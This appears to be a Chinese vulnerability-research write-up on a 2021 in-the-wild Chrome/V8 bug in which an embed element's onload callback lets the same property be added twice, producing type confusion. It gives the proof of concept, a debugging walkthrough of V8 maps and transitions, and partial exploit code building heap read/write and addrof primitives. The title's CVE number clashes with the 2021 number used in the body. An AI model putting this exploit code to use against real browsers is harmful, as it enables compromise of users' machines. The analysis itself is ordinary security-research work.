分析 2021 年的 Chrome 在野利用 CVE-2022-30551

准备环境

构建 Chrome

Bug Report 页面,找到受影响的 Chromium 版本 93.0.4532.0。 依照获取旧版本的 Chrome 记录的方法,从源码构建出 Chrome.exe。

拉取源码

git fetch https://chromium.googlesource.com/chromium/src.git +refs/tags/93.0.4532.0:chromium_93.0.4532.0 --depth 1
git checkout tags/93.0.4532.0
gn args out/cve-2021-30551
ninja -C .\out\cve-2021-30551 chrome

args.gn

# Build arguments go here.
# See "gn args <out_dir> --list" for available build arguments.

# reduce build time
is_component_build = true
enable_nacl = false

# build release version,disable DCHECK
# DCHECK is chrome's assert
is_debug = false
dcheck_always_on = false

VS 解决方案

gn gen --ide=vs --filters='//base;v8' --sln=v8_base .\out\cve-2021-30551\

架设服务器

  1. python -m http.server 启动 HTTP 服务器
  2. HTTP 服务器根目录写入 index.html 和 poc.js
  3. Chrome 访问 http://localhost:8000/index.html 触发奔溃

index.html

 <!--index.html-->
<html>
	<body>
		<script src="./poc.js"></script>
		Hello
	</body>
</html>

poc.js

// poc.js
global_object = {};

setPropertyViaEmbed = (object, value, handler) => {
  const embed = document.createElement('embed');
  embed.onload = handler;
  embed.type = 'text/html';
  Object.setPrototypeOf(global_object, embed);
  document.body.appendChild(embed);
  object.corrupted_prop = value;
  embed.remove();
}

createCorruptedPair = (value_1, value_2) => {
  const object_1 = {
	__proto__: global_object
  };
  object_1.regular_prop = 1;

  setPropertyViaEmbed(object_1, value_2, () => {
	Object.setPrototypeOf(global_object, null);
	object_1.corrupted_prop = value_1;
  });

  const object_2 = {
	__proto__: global_object
  };
  object_2.regular_prop = 1;

  setPropertyViaEmbed(object_2, value_2, () => {
	Object.setPrototypeOf(global_object, null);
	object_2.corrupted_prop = value_1;
	object_1.regular_prop = 1.1
  });
  return [object_1, object_2];
}

const array = [1.1];
array.prop = 1;
const [object_1, object_2] = createCorruptedPair(array, 2261620.509803918);

jit = (object) => {
  return object.corrupted_prop[0];
}

for (var i = 0; i < 100000; ++i)
  jit(object_1);

jit(object_2);

分析漏洞

从漏洞报告可知:漏洞发生在给 HTMLEmbedElement 对象设置属性时,设置属性的动作会触发 onload 回调,在 onload 回调里,再次设置同一个属性,就可以触发漏洞,成功设置两个同名属性到同一个对象。

更详细的信息就要靠调试获得了,由于对 v8 的代码不熟悉,我会把整个漏洞触发过程,划分成几个不同的部分,分别进行调试,一步步加深对这个漏洞的理解,也通过这个过程慢慢熟悉 v8 的代码。

属性设置

先调试属性设置的流程,为了简化调试过程,我们先不使用 POC,而是使用下面这个更简单的代码片段:

index.html

<!--index.html-->
<html>
	<body>
		<script>
			alert(1)
			let a = {};
			alert(1);
			a.a = "foo";
			alert(2);
			a.b = "bar";
			alert(3);
			a.c = "bar2";
			alert(4);
		</script>
		Hello
	</body>
</html>
  1. 任意目录执行 python -m http.server 启动 HTTP 服务器,把上面代码写入 index.html
  2. out/cve-2021-30551/chrome.exe --no-sandbox 启动 Chrome
  3. Visual Studio 附加调试 chrome.exe,启用子进程调试
  4. 新建标签页,访问 http://localhost:8000/ (新建标签页是为了触发子进程调试)

漏洞报告指出属性设置会用到 Object::SetPropertyInternal 函数,在这个函数下断点,刷新页面触发断点,分析调用栈,找到 StoreIC::Store 函数。在 StoreIC::Store 下断可以调试整个流程,但是这个函数被调用的比较频繁,如果断点一直激活的话,会断到很多无关的操作里,需要控制下断点激活的时机:

  • 在属性设置前后添加了 alert 函数调用
  • alert 弹窗后,激活 StoreIC::Store 函数开头的断点
  • 点掉弹窗,就可以断在 a.a = "foo" 的操作开始了
  • 断下后先把断点禁用,避免调试过程中递归执行触发断点

反复的单步调试配合上查阅资料,掌握如下信息:

  • 对象中仅存放了属性的值,属性的名字、存储位置、数据类型等信息作为属性描述符,存放在对象的 map 中
  • 属性描述符存放在一个以属性名排序的数组中,属性的查找方法是对这个数组进行二分查找。详细流程见 LookupIterator::LookupIterator() 函数的代码
  • 设置属性的流程:
    • 先在 map 中查找属性的描述符。
      • 如果已经存在,就直接使用旧的描述符。
      • 如果不存,创建一个新的描述符,修改对象的 map,把新描述符添加进去
    • 将值插入到对象的指定位置
  • 推荐阅读 https://v8.dev/blog/fast-properties 了解更多信息

ℹ️NOTE: 这里描述的结论都针对这段简单的代码片段,在更复杂的上下文中,属性存放逻辑会发生变化。


HTMLEmbedElement

设置 HTMLEmbedElement 对象的属性和普通对象是有区别的,它的属性设置触发了 onload 事件处理,下面调试设置 HTMLEmbedElement 对象属性的流程,重点关注有区别的地方。

从 POC 中抽取一部分代码,替换之前的 index.html:

<html>
<body>
	<script>
		function handler() {
			alert("onload handler")
		}

		const embed = document.createElement('embed');
		embed.onload = handler;
		embed.type = 'text/html';

		document.body.appendChild(embed);

		alert(1)
		embed.a = 'b';
		alert(2)
	</script>
	Hello
</body>
</html>

先观察下程序的行为,onload handler 的弹窗,是在 embed.a = ‘b’ 赋值过程中弹出的。如果把 document.body.appendChild 这行注释掉,就不再有 onload handler 的弹窗了。

开始调试,思路是在 handler 回调中断下,分析调用栈找到关键点,操作步骤:

  • 先激活 StoreIC::Store 中的断点,刷新页面,断点断下后记下当前进程和线程,JavaScript 解释器会固定在此线程中运行。
  • 禁用断点后继续运行,等代码弹出 “onload handler” 后,用调试器暂停程序,切换到刚才的线程,查看调用栈。
  • 也可以用更直接一些的办法,例如:在源码中找到 alert 对应的 CPP 函数,在函数开头下断点。

得到的调用栈,精简后的如下:

	Index  Function
------------------------------------------------------------------------------
 1      ntdll.dll!NtWaitForMultipleObjects()
 2      KernelBase.dll!WaitForMultipleObjectsEx()
 3      KernelBase.dll!WaitForMultipleObjects()

 ...

 18     blink_modules.dll!blink::`anonymous namespace'::v8_window::AlertOperationCallback(...)
 24     00003cde0004b6c1()
 25     00003cde0004973b()
 26     00003cde0004933b()
 27     [Inline Frame] v8.dll!v8::internal::GeneratedCode<...>::Call(...)

 ...

 36     blink_core.dll!blink::EventTarget::FireEventListeners(...)

 ...

 40     blink_core.dll!blink::EventDispatcher::DispatchEvent(...)
 41     blink_core.dll!blink::LocalDOMWindow::DispatchLoadEvent()

 ...

 53     blink_core.dll!blink::DocumentLoader::FinishedLoading(...)
 54     blink_core.dll!blink::DocumentLoader::StartLoadingResponse()
 55     blink_core.dll!blink::DocumentLoader::CommitNavigation()

 ...

 62     blink_core.dll!blink::FrameLoader::StartNavigation(...)
 63     blink_core.dll!blink::HTMLFrameOwnerElement::LoadOrRedirectSubframe(...)
 64     blink_core.dll!blink::HTMLPlugInElement::RequestObject(...)
 65     blink_core.dll!blink::HTMLEmbedElement::UpdatePluginInternal()

 ...

 75     blink_core.dll!blink::V8HTMLEmbedElement::NamedPropertySetterCallback(...)
 76     v8.dll!v8::internal::PropertyCallbackArguments::CallNamedSetter(...)
 77     v8.dll!v8::internal::`anonymous namespace'::SetPropertyWithInterceptorInternal(...)
 78     v8.dll!v8::internal::JSObject::SetPropertyWithInterceptor(...)
 79     v8.dll!v8::internal::Object::SetPropertyInternal(...)
 80     v8.dll!v8::internal::Object::SetProperty(...)
 81     v8.dll!v8::internal::StoreIC::Store(...)
 ...

分析调用栈发现,设置 embed 对象的属性,触发了回调函数 V8HTMLEmbedElement::NamedPropertySetterCallback。回调函数试图加载与 embed 关联的 DOM 节点,并在加载完成后调用了 onload 回调。

CallNamedSetter 中可以看到回调函数 f 是存储在参数 interceptor 中的。

Handle<Object> PropertyCallbackArguments::CallNamedSetter(
    Handle<InterceptorInfo> interceptor, Handle<Name> name,
    Handle<Object> value) {
  DCHECK_NAME_COMPATIBLE(interceptor, name);
  GenericNamedPropertySetterCallback f =
      ToCData<GenericNamedPropertySetterCallback>(interceptor->setter());
  Isolate* isolate = this->isolate();
  RCS_SCOPE(isolate, RuntimeCallCounterId::kNamedSetterCallback);
  PREPARE_CALLBACK_INFO_FAIL_SIDE_EFFECT_CHECK(isolate, f, Handle<Object>,
                                               v8::Value);
  LOG(isolate,
      ApiNamedPropertyAccess("interceptor-named-set", holder(), *name));
  f(v8::Utils::ToLocal(name), v8::Utils::ToLocal(value), callback_info); // <<<<<
  return GetReturnValue<Object>(isolate);
}

向栈顶翻看调用栈,可以发现 interceptor 是从中对象的 map 中读取到的:

Maybe<bool> JSObject::SetPropertyWithInterceptor(
    LookupIterator* it, Maybe<ShouldThrow> should_throw, Handle<Object> value) {
  DCHECK_EQ(LookupIterator::INTERCEPTOR, it->state());
  return SetPropertyWithInterceptorInternal(it, it->GetInterceptor(), // <<<<
                                            should_throw, value);
}

inline Handle<InterceptorInfo> LookupIterator::GetInterceptor() const {
  DCHECK_EQ(INTERCEPTOR, state_);
  JSObject holder = JSObject::cast(*holder_);
  InterceptorInfo result = IsElement(holder) ? GetInterceptor<true>(holder)
                                             : GetInterceptor<false>(holder); // <<<
  return handle(result, isolate_);
}

template <bool is_element>
InterceptorInfo LookupIterator::GetInterceptor(JSObject holder) const {
  if (is_element && index_ <= JSObject::kMaxElementIndex) {
    return holder.GetIndexedInterceptor(isolate_);
  } else {
    return holder.GetNamedInterceptor(isolate_);
  }
}

DEF_GETTER(JSObject, GetNamedInterceptor, InterceptorInfo) {
  return map(cage_base).GetNamedInterceptor(cage_base);
}

再从 StoreIC::Store 开始重新调试属性设置的流程,发现区别是从 LookupIterator::LookupIterator 函数开始的,V8HTMLEmbedElement 对象的 map 中包含 Interceptor 信息,所以 LookupIterator 属性查找得到的结束状态是 INTERCEPTOR。而对于普通对象来说,由于属性并不存在,查找结果是 NOT_FOUND。这个结果直接影响了 Object::SetProperty 函数中控制流的走向,INTERCEPTOR 在关键点处的满足 IsFound() 条件,会走入 <<< 处的 SetPropertyInternal 函数,调用 Interceptor 回调后才返回,函数返回后 foundfalse,继续执行后面的代码。而 NOT_FOUND 在关键点处不满足条件,控制流直接走入 >>>AddDataProperty 的调用。

Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,
 						   StoreOrigin store_origin,
 						   Maybe<ShouldThrow> should_throw) {
  if (it->IsFound()) { // 关键点
	bool found = true;
	Maybe<bool> result =
		SetPropertyInternal(it, value, should_throw, store_origin, &found); // <<<
	if (found) return result;
  }

  // If the receiver is the JSGlobalObject, the store was contextual. In case
  // the property did not exist yet on the global object itself, we have to
  // throw a reference error in strict mode.  In sloppy mode, we continue.
  if (it->GetReceiver()->IsJSGlobalObject() &&
	  (GetShouldThrow(it->isolate(), should_throw) ==
	   ShouldThrow::kThrowOnError)) {
	if (it->state() == LookupIterator::TRANSITION) {
	  // The property cell that we have created is garbage because we are going
	  // to throw now instead of putting it into the global dictionary. However,
	  // the cell might already have been stored into the feedback vector, so
	  // we must invalidate it nevertheless.
	  it->transition_cell()->ClearAndInvalidate(ReadOnlyRoots(it->isolate()));
	}
	it->isolate()->Throw(*it->isolate()->factory()->NewReferenceError(
		MessageTemplate::kNotDefined, it->GetName()));
	return Nothing<bool>();
  }

  return AddDataProperty(it, value, NONE, should_throw, store_origin); // >>>
}

两个同名的属性

属性设置已经了解的差不多了,开始分析实际的 POC,稍微修改下漏洞报告中的 POC,加入一些 alert() 弹窗,把原本的 POC 分成几部分来分析。

global_object = {};

setPropertyViaEmbed = (object, value, handler) => {
  const embed = document.createElement('embed');
  embed.onload = handler;
  embed.type = 'text/html';
  Object.setPrototypeOf(global_object, embed);
  document.body.appendChild(embed);
  alert('before set');
  object.corrupted_prop = value;
  alert('after set');
  embed.remove();
}

createCorruptedPair = (value_1, value_2) => {
  const object_1 = {
    __proto__: global_object
  };
  object_1.regular_prop = 1;

	alert('before s1');

  setPropertyViaEmbed(object_1, value_2, () => {
    Object.setPrototypeOf(global_object, null);
    alert('before set2');
    object_1.corrupted_prop = value_1;
	alert('after set2');
  });

	alert('after s1');

  const object_2 = {
    __proto__: global_object
  };
  object_2.regular_prop = 1;

	alert('before s2');

  setPropertyViaEmbed(object_2, value_2, () => {
    Object.setPrototypeOf(global_object, null);
    object_2.corrupted_prop = value_1;
    object_1.regular_prop = 1.1
  });

  alert('after s2');

  return [object_1, object_2];
}

const array = [1.1];
array.prop = 1;
const [object_1, object_2] = createCorruptedPair(array, 2261620.509803918);

jit = (object) => {
  return object.corrupted_prop[0];
}
for (var i = 0; i < 100000; ++i)
  jit(object_1);
jit(object_2);

先分析 s1 这部分:

  • setPropertyViaEmbed 函数内部的 setPrototypeOf 调用,把 embed 对象加入到 object 的原型链中。所以在之后设置 objectcorrupted_prop 属性时,corrupted_prop 属性的查找沿着原型链查找到了 embed 对象,最终找到了 Embed 对象的 Interceptor 回调,调用 handler 函数。有关对原型链的知识参考 Inheritance and the prototype chain
  • handler 函数中先修改了 global_object 的原型,将 embed 从原型链中去掉了。然后第二次设置了 objectcorrupted_prop 属性,这次就相当于普通的属性设置。
  • handler 返回后,就走到了有问题的代码,这个时候目标对象已经有了一个 corrupted_prop 属性了,但是程序并没有考虑到这种可能,还是按照目标对象的属性不存在的情况进行处理,给目标对象又增加了一个同名的 corrupted_prop 属性。

s1 完成后 object_1 的内存如下:

Descriptor 的第二个 DWORD 存储了 PropertyDetails,PropertyDetails 存放了属性的键、索引、类别等信息。图中 Descriptor1 的 PropertyDetails 是 0x00100988,details 本身是个位域,把它转换成二进制更容易分析一点,如下图:

details 的数据类型是 Smi,最低位的 0 为 Smi 的 Tag,其他31位才是实际的值,包含如下信息:

  • Kind: 0 - kData 值属性
  • Location: 0 - kField 在对象内部存储的属性
  • Constness: 1 - kConst 不可修改的属性
  • Attributes: 0 - kNone
  • Representation: 3 - kHeapObject
  • Pointer / Key Index: 2 - Key 存放在 第二个 Descriptor 中
  • Field Index: 1 - 值存储在索引 1

总结起来就是,此属性是在对象内部存储的,存储在索引为 1 的位置。存储的类别是 HeapObject。

对象内部的属性从对象的偏移 0x0C 处开始存放,索引 1 就是第二项,偏移为 0x10。

类型混淆

那么怎么利用这个漏洞呢?继续分析后面的 POC 会发现,通过多次触发漏洞,可以创建出两个大致相同,但是又有微妙区别的对象,利用这两个对象可以将这个漏洞转化成类型混淆。

大致流程:

  • 触发了两次漏洞,得到了两个有问题的对象 object_1, object_2
  • 定义了一个函数 jit,访问参数的 corrupted_prop,将其当做数组使用,返回数组的第一个元素
  • object_1 为参数,循环调用 jit 函数,使得 jit 成为热点函数,触发 jit 函数的 JIT 编译
  • object_2 为参数,调用已经被 JIT 编译的 jit 函数。

反复调试这部分逻辑后,我从 jit(object_2) 触发的内存访问异常找到了切入点,异常位置如下:

000010A2001C5051 55                   push        rbp
000010A2001C5052 48 89 E5             mov         rbp,rsp
000010A2001C5055 56                   push        rsi
000010A2001C5056 57                   push        rdi
000010A2001C5057 50                   push        rax
000010A2001C5058 48 83 EC 08          sub         rsp,8
000010A2001C505C 48 89 75 E0          mov         qword ptr [rbp-20h],rsi
000010A2001C5060 49 3B 65 60          cmp         rsp,qword ptr [r13+60h]
000010A2001C5064 0F 86 C1 00 00 00    jbe         000010A2001C512B
000010A2001C506A 48 8B 4D 18          mov         rcx,qword ptr [rbp+18h]
000010A2001C506E F6 C1 01             test        cl,1
000010A2001C5071 0F 84 06 01 00 00    je          000010A2001C517D

;
; 检查 Map 是否符合预期
;
000010A2001C5077 BF A9 26 25 08       mov         edi,82526A9h
000010A2001C507C 39 79 FF             cmp         dword ptr [rcx-1],edi
000010A2001C507F 0F 85 FF 00 00 00    jne         000010A2001C5184

;
; 读取对象的第二个属性到 edi
;
000010A2001C5085 8B 79 0F             mov         edi,dword ptr [rcx+0Fh]

;
; 把刚读到的属性,当做数组使用,读取数组的第一个元素
;
000010A2001C5088 49 03 FE             add         rdi,r14
; 读取数组的 Elements
000010A2001C508B 44 8B 47 07          mov         r8d,dword ptr [rdi+7]
000010A2001C508F 4D 03 C6             add         r8,r14
000010A2001C5092 8B 7F 0B             mov         edi,dword ptr [rdi+0Bh]
000010A2001C5095 D1 FF                sar         edi,1
000010A2001C5097 83 FF 00             cmp         edi,0
000010A2001C509A 0F 86 EB 00 00 00    jbe         000010A2001C518B
; 读取Elements中存储的第一个元素
; 由于上一步读出的属性,实际类型并不是数组,被强行当做数组使用时,这里发生内存访问异常
000010A2001C50A0 C4 C1 7B 10 40 07    vmovsd      xmm0,qword ptr [r8+7]  ; <<< Access violation reading location
000010A2001C50A6 C5 FB 2C C8          vcvttsd2si  ecx,xmm0
000010A2001C50AA C5 83 2A C9          vcvtsi2sd   xmm1,xmm15,ecx
000010A2001C50AE C5 F9 2E C8          vucomisd    xmm1,xmm0
000010A2001C50B2 0F 8A 38 00 00 00    jp          000010A2001C50F0
000010A2001C50B8 0F 85 32 00 00 00    jne         000010A2001C50F0
000010A2001C50BE 83 F9 00             cmp         ecx,0
000010A2001C50C1 0F 84 8C 00 00 00    je          000010A2001C5153
000010A2001C50C7 48 8B F9             mov         rdi,rcx
000010A2001C50CA 03 F9                add         edi,ecx
000010A2001C50CC 0F 80 1E 00 00 00    jo          000010A2001C50F0
000010A2001C50D2 48 8B C7             mov         rax,rdi
000010A2001C50D5 48 8B 4D E8          mov         rcx,qword ptr [rbp-18h]
000010A2001C50D9 48 8B E5             mov         rsp,rbp
000010A2001C50DC 5D                   pop         rbp
000010A2001C50DD 48 83 F9 01          cmp         rcx,1
000010A2001C50E1 7F 03                jg          000010A2001C50E6
000010A2001C50E3 C2 10 00             ret         10h
000010A2001C50E6 41 5A                pop         r10
000010A2001C50E8 48 8D 64 CC 08       lea         rsp,[rsp+rcx*8+8]
000010A2001C50ED 41 52                push        r10
000010A2001C50EF C3                   ret

因为是在 JIT 编译生成的代码中,所以是没有调试符号的,不过我们知道这段代码是从 jit 函数编译来的,对照着源码猜出大致意思:

  • 检查目标对象的 map 值,是否符合预期,符合预期才能继续执行
  • 如果 map 值符合预期,就把目标对象的第二个属性当做数组使用,取出数组的第一个元素

但是对于 object_2 来说,读取数组的第一个元素时,发生了内存访问异常,根据这个时候 r8 指向的地址,可以看出 object_2 的第一个元素不是数组。接下来我们重点分析 object_2 的属性设置,找到 object_2object_1 的区别。

经过对 object_2corrupte_prop 设置动作的反复调试,发现主要区别在第二次设置object_2corrupted_prop 属性时,ApplyTransitionToDataProperty 函数中:

void LookupIterator::ApplyTransitionToDataProperty(
    Handle<JSReceiver> receiver) {

 ...

  Handle<Map> transition = transition_map();
  bool simple_transition =
      transition->GetBackPointer(isolate_) == receiver->map(isolate_);

 ...

  if (simple_transition) { // << 关键的区别在这个判断
	number_ = transition->LastAdded(); // <<< object_1 会走到这里
	property_details_ = transition->GetLastDescriptorDetails(isolate_);
	state_ = DATA;
  } else if (receiver->map(isolate_).is_dictionary_map()) {

	...

  } else {
	ReloadPropertyInformation<false>(); /// object_2 会走到这里
  }
}

template <bool is_element>
void LookupIterator::ReloadPropertyInformation() {
  state_ = BEFORE_PROPERTY;
  interceptor_state_ = InterceptorState::kUninitialized;
  state_ = LookupInHolder<is_element>(holder_->map(isolate_), *holder_);
  DCHECK(IsFound() || !holder_->HasFastProperties(isolate_));
}

对于 object_1 来说:

  • simple_transitiontrue, 直接使用最新添加的属性描述符。

对于 object_2 来说:

  • simple_transitionfalse,走入调用 ReloadPropertyInformation<false>() 的逻辑
  • ReloadPropertyInformation 不能直接用最近添加的描述符,需要从 map 中用属性名重新查找属性描述符,查找的过程如下:
    • 属性描述福存放在照属性名排好序的数组,排序依据是属性名的哈希,查找算法是二分查找
    • 对于 object_2 来说,目前描述符数组的内容是 [regular_prop, 上次设置的 corrupted_prop[1] 本次设置的 corrupted_prop[2]]
    • 二分查找,首先就是比较目标属性和数组中间的 corrupted_prop[1],属性名相同,查找完成了
    • 正常情况下对象描述符的名字都是不会重复的,所以这部分代码是有隐含条件的,认为找到的属性,就是符合条件的
    • 但由于 object_2 对象是我们利用漏洞构造的非正常对象,它有两个同名的 corrupted_prop 属性,corrupted_prop[1] 的属性名虽然符合预期,但是描述符里存放的数据类别等信息和本次添加的属性都是不匹配的。
    • 这就导致 object_2corrupted_prop 属性描述符和属性值的类型是不匹配的,实现了类型混淆。
    • 到这里就发现,看似多余的 relugar_prop,对漏洞的利用举足轻重

分析 map 的变化过程

那么这个 simple_transition 为什么变成 false 了?这个就涉及到 v8 中的 map 迁移的知识了,推荐先看下面两个参考资料:

JavasScript 执行过程中,对象的类型信息是在变化的,例如:给对象新增属性,这个对象的类型就发生了变化。对象的类型信息存储在 map 中,对象的数量很多,但大多数对象的 map 是稳定的,多个对象可以共享同一个 map,v8 中有一种叫做 transition 的机制,追踪 map 的变化,方便在多个对象之间共享 map:

  • 对象类型改变时,v8 不是修改它当前指向的 map,而是给它指定一个新 map
  • 新 map 的来源有两种:
    • 复用 map:相互关联的 map 已经链接到一起形成了一棵树,程序先尝试在树中查找满足条件的 map
    • 新建 map: 如果没有找到合适的 map,则创建一个新 map,然后把新的 map 节点插入到树中,作为旧 map 的子节点

例如下面这个代码片段:

a = {};
a.c = '1';
a.d = '2';

b = {};
b.c = '3';
b.d = '4';

对象 a 用到 3 个 map,首先是一个没有任何属性的 map0 ,然后是只包含属性 c 的 map1,最后是包含 c 和 d 两个属性的 map2。

对象 b 刚开始也是一个空对象,这个时候也是指向 map0。之后增加属性 c 时,程序以 c 为键搜索 map0 的子节点,找到 map1,且此 map1 的类型信息和 b.c 的值匹配,所以会直接复用这个 map1。设置属性 b.d 时,又从 map1 以 d 为键找到了子节点 map2。

每次都是以新增的属性名为键查找旧 map 的子节点,所以新增属性的顺序和查找结果是相关的,如果 b 是先设置属性 c 而后设置属性 d,那么就不能和 a 共用 map 了。

上面的例子只涉及属性的添加,但其实属性类型的改变,原型的修改等操作都会导致对象类型的改变。simple_transition 变量,就是和这个修改的复杂程度相关的,只有在新的 map 依然是旧 map 的子 map 时,simple_transition 才为 ture

再来看 POC 的情况,object_1.regular_prop = 1.1 执行之前,object_1object_2 就类似上面的 ab 之间的关系,object_2 的属性和 object_1 是一样的。但这行代码执行后,object_1 的 regular_prop 属性的类型从 Smi 变成了 Double。


NOTE: 属性类型是解释器根据属性值推断出的最优的类型,开始的时候 regular_prop 是 1,用 Smi 类型就可以存储,赋值 1.1 时,类型扩展成了 Double,既可以保存 1 又可以保存 1.1。


这个修改比添加新属性复杂一些,要确保已有属性在 transition 树中的遍历顺序保持不变,这就不能通过插入子 map 来实现了,需要找到 transition 树的根节点,然后从根节点开始,逐个查找下一层的 map,直到找到被修改的 regular_prop 属性对应的 map,把它标记为废弃,创建一个新节点替代它。

因为 regular_propobject_2 的第一个属性,根节点就是当前 map 的 back_pointer 指向的 map,需要为根节点新建一个 regular_prop 子节点的替代现有的子节点,并把旧 regular_prop 子树上的节点,标记为废弃(deprecated)。

结合下面的图示,可能更好理解一些:

object_1.regular_prop = 1.1 赋值前

object_1.regular_prop = 1.1 赋值后

第二张图里 object_2 指向的 map 已经被标记为 deprecated 了,这就导致了后面再给 object_2 增加属性 corrupted_prop 时,程序发现 object_2 的 map 已经被标记为废弃了,会先从 map_0 开始重新查找最接近的 map,转换到了 map_5。之后继续属性添加操作,发现已经存在了 map_5 到 map_6 的转换,所以又转移到了 map_6。最终结果是从 map_3 变化到了 map_6,这个变化不满足 simple_transition 的条件。就需要搜索整个属性描述符数组,查找 corrupted_prop 的索引,最终找到了错误的索引,把属性填入了错误的位置。

利用

这部分实现 Windows x64 环境的漏洞利用代码,在禁用沙箱的 Chrome 中弹计算器。

实现 addrof

我们先来看下 POC 代码,POC 中 createCorruptedPair 函数的两个参数,参数 1 是 数组,参数 2 是浮点数。最后一次 jit 调用,jit 函数把参数 2 的值,当做参数 1 的类型去使用,触发了内存访问异常。通过异常信息可以看出,访问的目标内存刚好和浮点数的值相关,所以我们详细分析一下这个地方,看下两种数据的内存布局:

  • Double / HeapNumber
    • 0x00 Map
    • 0x04 LowPart
    • 0x08 HighPart
  • JSArray
    • 0x00 Map
    • 0x04 Properties
    • 0x08 Elements:指向 Fixed Array 的指针
    • 0x0C Length
  • FixedArray
    • 0x00 Map
    • 0x04 Length
    • 0x08 Data[Length]

当把浮点数当做数组使用时,浮点数的 HighPart,刚好被当做了 elements 值,查看数组定义可以得知 elements 是指向 FixedArray 对象的指针。那么 POC 的这段代码,实际上已经实现了内存读、写,只不过由于 x64 架构上 v8 中的指针都是 32 位的压缩指针,读、写的目标地址只能在一个 4G 范围内,可以看做是堆上内存的任意读写。

知道了浮点数和数组的内存布局后,不难想到:如果把 createCorruptedPair 的函数调用的两个参数反过来,就可以把数组的 elements 和 propertties 的值,当做浮点数读取。那么能不能写入呢?实际测试来看,只能读取并不能写入。经过调试发现影响这个因素的关键点在于 JSObject::WriteToField 函数,createCorruptedPair 把参数 2 写入 corrupted_prop 属性的过程中,最后的写入操作是此函数负责的,对于上面的这种情况,属性描述符中存储的类型是浮点型,所以实际写入属性的是从参数 2 中读出的值,而不是参数 2 的对象指针,在 createCorruptedPair 返回后,corrupted_prop 和 参数 2 实际上就不再关联了,所以没法通过修改 corrupted_prop 来修改参数 2 指向的对象。

注意:这个对象地址读取虽然看起来不需要 JIT,但是实际是需要的。直接用 object2.corrupted_prop 读取是失败的,调试后发现是由于字节码解释器的属性搜索算法影响了利用,所以最终还是使用一个函数对象来读取属性。

void JSObject::WriteToField(InternalIndex descriptor, PropertyDetails details,
                            Object value) {
  DCHECK_EQ(kField, details.location());
  DCHECK_EQ(kData, details.kind());
  DisallowGarbageCollection no_gc;
  FieldIndex index = FieldIndex::ForDescriptor(map(), descriptor);
  if (details.representation().IsDouble()) {
    // Manipulating the signaling NaN used for the hole and uninitialized
    // double field sentinel in C++, e.g. with bit_cast or value()/set_value(),
    // will change its value on ia32 (the x87 stack is used to return values
    // and stores to the stack silently clear the signalling bit).
    uint64_t bits;
    if (value.IsSmi()) {
      bits = bit_cast<uint64_t>(static_cast<double>(Smi::ToInt(value)));
    } else if (value.IsUninitialized()) {
      bits = kHoleNanInt64;
    } else {
      DCHECK(value.IsHeapNumber());
      bits = HeapNumber::cast(value).value_as_bits();
    }
    auto box = HeapNumber::cast(RawFastPropertyAt(index));
    box.set_value_as_bits(bits);
  } else {
    FastPropertyAtPut(index, value);
  }
}

总结一下现在有两个能力:

  • POC 中展示的:读、写堆上任意地址
  • 我扩展出的能力:读对象的 elements 和 properties

综合这两个能力,先读取一个对象数组的 elements,再利用堆内存读取,读到 elements 中存储的内容,就实现了 addrof。利用 addrof 读取到另一个浮点数数组的地址,再利用堆内存写入,把浮点数数组的 elements 修改为指向一个对象数组的 elements,那么之后这两个数组就指向了同样的存储区域。将地址从浮点数组写入,再从对象数组读出,就实现了 fakeobj。另外如果是将对象从对象数组写入,在从浮点数组读出,就是一个更加稳定的 addrof。

读取数组 elements 的代码片段:

createCorruptedPair = (proto, value_1, value_2) => {
	setPropertyViaEmbed = (object, value, handler) => {
		const embed = document.createElement('embed');
		embed.onload = handler;
		embed.type = 'text/html';
		Object.setPrototypeOf(proto, embed);
		document.body.appendChild(embed);
		object.corrupted_prop = value;
		embed.remove();
	}

  const object_1 = {
    __proto__: proto
  };
  object_1.regular_prop = 1;


  setPropertyViaEmbed(object_1, value_2, () => {
    Object.setPrototypeOf(proto, null);
    object_1.corrupted_prop = value_1;
  });


  const object_2 = {
    __proto__: proto
  };
  object_2.regular_prop = 1;


  setPropertyViaEmbed(object_2, value_2, () => {
    Object.setPrototypeOf(proto, null);
    object_2.corrupted_prop = value_1;
    object_1.regular_prop = 1.1
  });


  return [object_1, object_2];
}

double_arr = [1.1]
obj_arr = [double_arr, {}]

proto1 = {};
const [object_1, object_2] = createCorruptedPair(proto1, 1.1, obj_arr)

read_props_elems = (o) => {
	return o.corrupted_prop;
}

for (let i = 0; i < 10000; ++i) {
	read_props_elems(object_1);
}

// 读取 obj_arr 数组的 elements
obj_arr_elems = high32u(ftou(read_props_elems(object_2)));
console.log('obj arr elems:', obj_arr_elems.toString(16));

得到数组 elements 后,读取其中存储的第一个元素,修改此元素的 elements 的代码片段:

createCorruptedPair = (proto, value_1, value_2) => {
	setPropertyViaEmbed = (object, value, handler) => {
		const embed = document.createElement('embed');
		embed.onload = handler;
		embed.type = 'text/html';
		Object.setPrototypeOf(proto, embed);
		document.body.appendChild(embed);
		object.corrupted_prop = value;
		embed.remove();
	}

  const object_1 = {
    __proto__: proto
  };
  object_1.regular_prop = 1;


  setPropertyViaEmbed(object_1, value_2, () => {
    Object.setPrototypeOf(proto, null);
    object_1.corrupted_prop = value_1;
  });


  const object_2 = {
    __proto__: proto
  };
  object_2.regular_prop = 1;


  setPropertyViaEmbed(object_2, value_2, () => {
    Object.setPrototypeOf(proto, null);
    object_2.corrupted_prop = value_1;
    object_1.regular_prop = 1.1
  });


  return [object_1, object_2];
}

double_arr = [1.1]
obj_arr = [double_arr, {}]

// 这里插入一个适合在调试器里手工读取 obj_arr 的 elements 的时机
alert('debug');
debug = obj_arr;

//
// 从 elements[0] 读取 double_arr 指针
//

// 先手工输入 elements 的指针,验证方法可行
obj_arr_elems = prompt();

v1 = [1.1, 1.2, 1.3];
v1.p = 1;

proto2 = {};
const [oa, ob] = createCorruptedPair(proto2, v1, utof(BigInt(`0x${obj_arr_elems.toString(16)}00000000`)));

read_heap_mem = (o) => {
	return o.corrupted_prop[0];
}

for (var i = 0; i < 100000; ++i)
	read_heap_mem(oa);

double_arr_start = low32u(ftou(read_heap_mem(ob)));
console.log('obj_arr[0]:', double_arr_start.toString(16));

// 修改 double_arr 的 elements 和 length
const elements_offset = 0x8;

elems_len = utof(BigInt(`0x000000f0${obj_arr_elems.toString(16).padStart(8, '0')}`));

write_heap_mem = (o) => o.corrupted_prop[0] = elems_len;

proto3 = {}
const [oc, od] = createCorruptedPair(proto3, v1, utof(BigInt(`0x${double_arr_start.toString(16)}00000000`)));

for (let i = 0; i < 100000; ++i)
	write_heap_mem(oc);

write_heap_mem(od);

// 这里输出的长度不是 1 的话,说明修改成功了
